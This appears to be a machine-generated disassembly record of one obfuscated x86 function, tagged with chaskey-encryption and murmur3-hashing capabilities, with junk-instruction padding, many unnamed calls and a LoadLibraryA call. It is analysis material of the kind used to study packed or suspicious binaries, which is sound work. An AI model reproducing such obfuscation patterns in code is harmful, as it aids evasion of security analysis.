Function at 0x5e1552
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
test ecx, 0x623e3cab
jb 0x5e1560
xor edx, 0xe7c3d7a0
add edi, 0x22f9f333
sub ebx, dword [0x6a20d1]
ror ecx, 0x11
or edx, edi
inc edx
sub edi, 0x38ebe5a0
sub ecx, 0x7fd692b5
sub edi, esi
or ebx, 0x63a53a3
or esi, edx
ror esi, 0x1b
and esi, ebp
mov ecx, 0x330bb3a
mov ecx, 0x6a3332e0
test esi, ebp
jg 0x5e15a1
mov dword [0x6aef4f], ebx
ror edx, 0x10
cmp edi, ebx
jge 0x5e15aa
xchg ebx, esi
dec edx
rol ebx, 0xd
and edx, 0xcaae2e8e
not edi
or edx, ebp
neg edi
rol esi, 2
sub edx, eax
dec ecx
jne 0x5e1597
and ebx, 0x28c87c2c
dec edx
xor edx, 0xa710ef8
mov eax, dword [0x6a4ff6]
mov ecx, 0x3842e2a8
neg edi
sub eax, 0xb16a63fb
call fcn.0058cb58
neg edi
and esi, 0x7c46474b
dec edi
not esi
sub dword [0x6aef89], ebx
neg edi
ror ebx, 0xe
cmp dword [0x6a5803], 0xb0b45e70
jnp 0x5e160c
xor eax, ebx
not ebx
inc esi
mov esi, dword [0x6a6a1e]
dec ecx
jne 0x5e15db
mov ecx, 0x6c9b7c0d
mov dword [0x6aef3f], edi
shr esi, 0x16
neg eax
add dword [0x6aefa0], ebx
dec esi
cmp edi, 0xd27b17e4
jbe 0x5e163d
call fcn.005c9045
shr esi, 5
inc ebx
xor edi, dword [0x6a1976]
sub edx, ebp
shl eax, 0x11
xor edi, ebx
shr ebx, 3
and eax, dword [0x6a770a]
dec esi
not ebx
mov dword [0x6aef30], edi
rol edx, 0x18
dec ecx
jne 0x5e161e
mov ebx, 0x35d5ce6e
xor edi, 0x69468053
or dword [0x6aef67], ebx
xor esi, 0x408fef8b
call fcn.0043ed19
ror eax, 0x1f
not esi
add dword [0x6aefb8], ecx
or dword [0x6aef89], edi
neg ebx
call fcn.005c495a
add eax, ebp
sub dword [0x6aef8d], eax
add edi, 0xbec88e88
not edx
add eax, 0xa93f3dc5
call fcn.005abced
call fcn.0059d142
sub eax, 0xa93f3dc5
not edx
sub edi, 0xbec88e88
mov dword [0x6aef60], edx
sub eax, ebp
call fcn.0052a2d8
neg ebx
add dword [0x6aefb0], ecx
not esi
rol eax, 0x1f
call fcn.0046bcb8
xor esi, 0x408fef8b
mov dword [0x6aef2f], ecx
xor edi, 0x69468053
add ebx, 0xcd45797e
sub ebx, 0xe5f1b284
xchg edi, edx
add edx, ecx
sub dword [0x6aefec], ebx
xchg ebx, esi
ror ecx, 0x19
call fcn.005c5c3e
inc eax
add esi, ecx
inc ebx
rol ecx, 0xb
sub edi, ebx
ror edx, 0x1c
rol edx, 0x1c
add edi, ebx
ror ecx, 0xb
dec ebx
sub esi, ecx
dec eax
rol ecx, 0x19
xchg ebx, esi
sub edx, ecx
xchg edi, edx
add ebx, 0xe5f1b284
xor ebx, 0x31b47ec
or dword [0x6aef3b], edi
xchg edi, eax
sub ebx, 0xeffd2322
xor edi, esp
xor dword [0x6aef2f], ecx
not edx
call fcn.0040cd13
not edi
ror edi, 2
add esi, ecx
inc ecx
sub dword [0x6aef63], 0xda46e7a9
call fcn.0056686e
rol edi, 0xf
inc esi
xor eax, 0xffc7ec3b
call fcn.00581759
call fcn.0041238b
xor eax, 0xffc7ec3b
dec esi
ror edi, 0xf
call fcn.0049bb16
dec ecx
sub esi, ecx
rol edi, 2
not edi
call fcn.00518bc7
not edx
or dword [0x6aef98], edi
xor edi, esp
add ebx, 0xeffd2322
xchg edi, eax
sub dword [0x6aefe8], eax
push ebx
dec edx
neg esi
call fcn.0056465b
dec ebx
xchg ebx, esi
rol esi, 0xb
call fcn.0043fb58
dec ebx
add eax, 0xf7a6df43
xor dword [0x6aef6f], eax
sub eax, ecx
neg esi
rol edx, 5
sub ecx, eax
call fcn.0051a701
add ecx, eax
ror edx, 5
neg esi
add eax, ecx
xor dword [0x6aef9a], esi
sub eax, 0xf7a6df43
inc ebx
call fcn.0052a6bd
ror esi, 0xb
xchg ebx, esi
inc ebx
call fcn.004d168b
neg esi
inc edx
mov esi, 0x8fea931d
ror eax, 2
xchg edx, esi
call fcn.0048709c
xor dword [0x6aef71], ecx
or dword [0x6aef9b], 0x67ade927
call fcn.00420fb1
not eax
call fcn.0059d76e
sub ebx, 0x1237b550
ror ebx, 0x19
and dword [0x6aef87], eax
neg esi
xor ecx, 0xb6acd079
dec ebx
mov dword [0x6aefca], edx
ror esi, 0x1b
and dword [0x6aefcf], ebx
dec ebx
xchg esi, eax
call fcn.00470f9e
call fcn.005a4fdf
xchg esi, eax
inc ebx
rol esi, 0x1b
inc ebx
xor ecx, 0xb6acd079
neg esi
sub dword [0x6aef70], ecx
rol ebx, 0x19
add ebx, 0x1237b550
not eax
or dword [0x6aef5c], 0x382a2144
call fcn.0040a50e
xchg edx, esi
rol eax, 2
sub esi, 0x91c19f64
xchg ebx, edx
rol ebx, 0x10
sub dword [0x6aefdb], edx
xchg edi, esi
dec eax
call fcn.00450ce1
add dword [0x6aefdb], edi
dec esi
rol esi, 0x1a
call fcn.0046ccee
rol ebx, 1
call fcn.00500c43
call fcn.0050ccbe
ror ebx, 1
ror esi, 0x1a
inc esi
or dword [0x6aef2d], ecx
call fcn.0049a311
inc eax
xchg edi, esi
xor dword [0x6aef73], edx
ror ebx, 0x10
xchg ebx, edx
xor esi, 0xcc1b9fdc
and dword [0x6aefe7], esi
add dword [0x6aefd2], esi
rol esi, 0x19
add dword [0x6aefa6], edx
inc ecx
not esi
mov dword [0x6aef56], ebx
inc ebx
inc esi
not esi
and dword [0x6aef65], esi
rol edi, 0x14
xor edx, esp
call fcn.004da89e
xor edi, 0x4843a816
call fcn.0047bc6b
rol esi, 1
inc eax
xchg esi, eax
call fcn.0041f795
call fcn.004e91e6
xchg esi, eax
dec eax
ror esi, 1
call fcn.004386b4
xor edi, 0x4843a816
call fcn.0043fb58
xor edx, esp
ror edi, 0x14
and dword [0x6aefa2], edi
not esi
dec esi
dec ebx
or dword [0x6aef3c], ecx
not esi
dec ecx
ror esi, 0x19
and dword [0x6aef46], esi
sub dword [0x6aef2c], edx
push esi
xor eax, 0x56664a02
inc edi
xor eax, edi
sub dword [0x6aefc4], 0xde82111f
xor eax, 0xc3c832df
add edx, esi
xor ecx, edx
add dword [0x6aefc9], edi
call fcn.004d11ce
add dword [0x6aef86], ebx
inc edi
add dword [0x6aef38], edi
inc eax
call fcn.005dff2d
xor eax, ebx
neg edi
call fcn.004faa0a
neg edi
xor eax, ebx
call fcn.0047fe5b
dec eax
or dword [0x6aef50], edi
dec edi
mov dword [0x6aef5e], ebx
call fcn.00414905
and dword [0x6aef7e], ebx
xor ecx, edx
sub edx, esi
xor eax, 0xc3c832df
xor eax, edi
dec edi
xor eax, 0x56664a02
mov ecx, 0x5a3b174f
xor ecx, eax
xor dword [0x6aef78], ecx
xor ebx, esp
inc ebx
add dword [0x6aefd8], edx
xchg ebx, edx
neg esi
call fcn.00426ca0
xor eax, ecx
add ebx, 0x654d834e
call fcn.00483ca2
call fcn.0050b6d7
sub ebx, 0x654d834e
xor eax, ecx
call fcn.0043b0ad
neg esi
xchg ebx, edx
dec ebx
xor ebx, esp
xor ecx, eax
sub ecx, 0x804e059b
xor ebx, 0x826b4c8e
call fcn.0058296a
rol edx, 0x18
not esi
inc esi
xor eax, 0x8233f954
call fcn.005382a3
add eax, 0x4d5e7641
sub esi, 0x62a45258
rol esi, 0x14
xor esi, 0xc40ad78
call fcn.004a90a9
call fcn.005401ad
xor esi, 0xc40ad78
ror esi, 0x14
add esi, 0x62a45258
sub eax, 0x4d5e7641
call fcn.00580972
xor eax, 0x8233f954
dec esi
not esi
ror edx, 0x18
call fcn.00516831
xor ebx, 0x826b4c8e
sub ecx, 0x6b7aac49
add eax, 0xc62e6a2f
xor eax, ecx
sub edx, ebx
sub dword [0x6aef2d], edx
call fcn.004c601e
rol eax, 3
call fcn.0041d2a0
mov dword [0x6aef3a], esi
call fcn.005d5ef5
sub ecx, 0xb778dc84
dec ebx
and dword [0x6aefec], eax
call fcn.005cf078
call fcn.005753d6
xor dword [0x6aef71], ebx
inc ebx
add ecx, 0xb778dc84
call fcn.004f72a8
ror eax, 3
call fcn.004e9941
add dword [0x6aefa2], ebx
add edx, ebx
xor eax, ecx
sub eax, 0xc62e6a2f
push ecx
neg ecx
xor esi, edi
neg esi
and dword [0x6aef3e], edx
neg esi
ror esi, 0x1c
sub esi, ebx
dec edi
call fcn.00525d7d
xor ecx, 0x171c86c9
not esi
xchg ebx, edx
add ecx, 0xa2782989
call fcn.0056dbe7
neg esi
xor edi, ebp
or dword [0x6aef91], edx
not esi
xor edi, 0x30109c3b
ror esi, 0x14
rol esi, 0x14
xor edi, 0x30109c3b
not esi
and dword [0x6aef7d], edi
xor edi, ebp
neg esi
call fcn.004eaba1
sub ecx, 0xa2782989
xchg ebx, edx
not esi
xor ecx, 0x171c86c9
call fcn.0056ceba
inc edi
add esi, ebx
rol esi, 0x1c
neg esi
neg esi
xor esi, edi
neg ecx
push esp
not ecx
ror ecx, 1
dec edx
sub ecx, 0xa81c09ba
add edi, ebx
sub dword [0x6aef83], esi
dec esi
xor ebx, eax
call fcn.0041d945
xor esi, ebp
neg ecx
call fcn.005b2fb0
call fcn.004fc484
neg ecx
xor esi, ebp
xor ebx, eax
inc esi
add dword [0x6aef8a], esi
sub edi, ebx
add ecx, 0xa81c09ba
inc edx
rol ecx, 1
not ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
neg edi
ror ebx, 0x19
and dword [0x6aef74], 0x2568e40e
dec edx
or dword [0x6aefed], edx
rol edi, 0xd
call fcn.004ffdd7
xor eax, edi
neg esi
ror eax, 6
xor eax, 0x9e1bd96b
sub dword [0x6aef6e], 0x4238dae2
call fcn.0041fb72
sub dword [0x6aef88], edx
inc edi
dec ecx
xor ecx, 0x30cf6a08
add dword [0x6aef43], edx
xor ecx, 0x30cf6a08
inc ecx
dec edi
xor dword [0x6aef66], 0x8a81c28b
xor eax, 0x9e1bd96b
rol eax, 6
neg esi
xor eax, edi
call fcn.0043f694
ror edi, 0xd
xor dword [0x6aef3b], ebx
inc edx
xor dword [0x6aef3e], 0xa5bad1b7
rol ebx, 0x19
neg edi
add esp, 0xc
xor esi, 0x720b502e
and dword [0x6aefcc], ebx
ror eax, 0xc
call fcn.0042e312
xchg ecx, esi
xor edx, 0xf91aad3a
or dword [0x6aef29], ecx
xchg esi, edx
xor dword [0x6aef89], eax
ror eax, 0xb
mov dword [0x6aefde], ebx
sub edx, 0x9bccf4b6
xor dword [0x6aef53], edi
add ecx, edx
rol esi, 0x1f
call fcn.00438e75
call fcn.005902ed
ror esi, 0x1f
sub ecx, edx
xor dword [0x6aef38], ebx
add edx, 0x9bccf4b6
rol eax, 0xb
add dword [0x6aef8d], edi
xchg esi, edx
or dword [0x6aefa9], ecx
out dx, eax
push 0